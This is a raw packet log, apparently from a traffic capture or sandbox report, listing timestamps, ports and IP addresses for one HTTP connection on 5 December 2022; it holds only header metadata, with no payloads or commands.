Dec 5, 2022 06:44:31.329565048 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329591036 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329595089 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329616070 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329622030 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329637051 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329651117 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329672098 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329679966 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329700947 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329708099 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329727888 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329735994 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329755068 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329762936 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329785109 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329790115 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329806089 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329819918 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329838991 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329848051 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329868078 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329876900 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329905033 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329905987 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329921961 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329932928 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329955101 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329960108 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329977036 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329988003 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330008984 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330012083 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330029964 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330039024 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330066919 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330080986 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330094099 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330097914 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330116034 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330121040 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330137014 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330147028 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330169916 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330173969 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330192089 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330203056 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330229044 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330230951 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330248117 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330259085 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330277920 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330286980 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330307961 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330328941 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330426931 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330451965 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330478907 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330485106 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330503941 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330504894 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330527067 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330530882 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330559969 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330564022 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330580950 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330588102 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330610991 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330615997 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330642939 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330646038 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330662966 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330668926 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330693007 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330694914 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330713987 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330723047 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330746889 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330753088 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330771923 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330773115 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330791950 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330801964 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330825090 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.330828905 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330854893 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330903053 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330930948 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330957890 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.330985069 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331007004 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331007004 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331007004 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331007004 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331007004 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331012964 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331039906 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331048012 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331048012 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331069946 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331069946 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331087112 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331098080 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331120014 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331125975 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331141949 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331152916 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331173897 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331181049 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331196070 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331208944 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331234932 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331238985 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331259012 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331262112 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331279039 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331289053 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331316948 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331317902 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331336021 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331345081 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331367016 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331372976 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331387997 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331399918 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331425905 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331428051 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331444025 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331454039 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331482887 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331511021 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331538916 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331566095 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331593990 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331620932 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331648111 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331675053 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331696033 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331697941 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331697941 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331697941 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331698895 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331698895 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331698895 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331698895 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331698895 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331723928 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331743956 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331743956 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331743956 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331751108 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331765890 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331777096 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331803083 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331805944 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331820011 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331835032 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331861973 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331862926 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331888914 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331888914 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331917048 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331922054 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331938982 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331944942 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331970930 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.331973076 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.331991911 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332000017 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332026958 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332036018 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332053900 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332055092 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332092047 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332093000 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332125902 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332170010 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332171917 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332201958 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332225084 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332227945 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332245111 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332252979 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332277060 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332278967 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332298040 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332304955 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332328081 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332329035 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332349062 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332351923 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332370996 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332381010 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332406998 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332407951 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332425117 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332431078 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332458019 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332458973 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332474947 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332489014 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332509041 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332514048 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332537889 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332540989 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332555056 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332565069 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332592010 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332602024 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332602024 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332614899 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332633018 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332640886 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332667112 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332676888 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332695961 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332705975 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332725048 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332732916 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332752943 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332761049 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332787037 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332788944 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332803965 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332817078 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332838058 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332844973 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332861900 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332873106 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332897902 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332901001 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332920074 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332927942 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332950115 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332957029 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.332972050 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.332986116 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333008051 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333014011 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333031893 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333040953 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333065033 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333067894 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333086014 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333091974 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333118916 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333118916 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333136082 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333146095 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333168030 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333174944 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333189964 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333204031 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333224058 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333231926 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333255053 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333261013 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333277941 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333295107 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333318949 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333319902 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333343029 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333343983 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333362103 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333369970 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333395958 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333398104 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333414078 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333421946 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333446026 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333448887 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333470106 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333476067 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333491087 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333503008 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333523989 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333527088 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333550930 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333554029 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333570004 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333578110 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333600998 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333604097 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333621025 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333631039 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333672047 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333673000 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333690882 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333699942 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333719969 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333724022 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333751917 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333758116 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333775043 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333796978 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333805084 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333815098 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333831072 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333832026 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333853006 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333857059 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333878994 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333885908 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333910942 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333913088 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333930016 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333936930 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333961964 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.333961964 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333980083 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.333990097 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334017038 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334017038 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334033966 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334042072 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334064960 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334069014 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334095955 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334108114 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334119081 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334127903 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334145069 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334146023 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334170103 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334193945 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334204912 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334219933 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334223986 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334245920 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334245920 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334264040 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334273100 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334297895 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334309101 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334322929 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334328890 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334345102 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334350109 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334373951 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334376097 CET	80	49703	66.235.200.147	192.168.2.3
